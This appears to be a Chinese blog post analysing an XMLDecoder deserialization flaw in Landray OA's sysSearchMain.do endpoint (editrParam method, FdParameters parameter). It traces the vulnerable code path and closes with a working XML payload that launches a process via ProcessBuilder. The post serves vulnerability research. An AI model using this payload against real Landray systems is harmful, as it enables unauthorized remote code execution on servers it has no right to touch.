本文最后更新于1219天前,其中的信息可能已经有所发展或是发生改变。
0x00分析
漏洞在/sys/search/sys_search_main/sysSearchMain.do 下面 这里也给出了 method 为 editrParam。参数为 FdParameters
在 com.landray.kmss.sys.search.jar 中的 com.landray.kmss.sys.search.actions.SysSearchMainAction 类。
method 为 editrParam
流程如下:
大概是对fdParemNames的内容进行了复现。如果不为空。进入SysSearchDictUtil.getParamConditionEntry方法。
在 setParametersToSearchConditionInfo方法
0x01漏洞点:
对 fdParemNames进行了一次判空,然后传入ObjectXML .objectXMLDecoderByString方法。
将传进来的string字符串进行替换。然后将其载入字节数组缓冲区。再传递给 objectXMLDecoder
在 objectXmlDecoder 中,就更明显了,典型的 xmlDecoder 反序列化。 整体流程只对 FdParameters 的内容进行了一些内容替换。 导致 xmlDecoder 反序列化漏洞
0x02 Xmldecoder payload 生成
大佬的脚本
code:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"><void index="0"><string>notepad</string></void></array> <void method="start" id="process"> </void> </void> </java>
点击数:147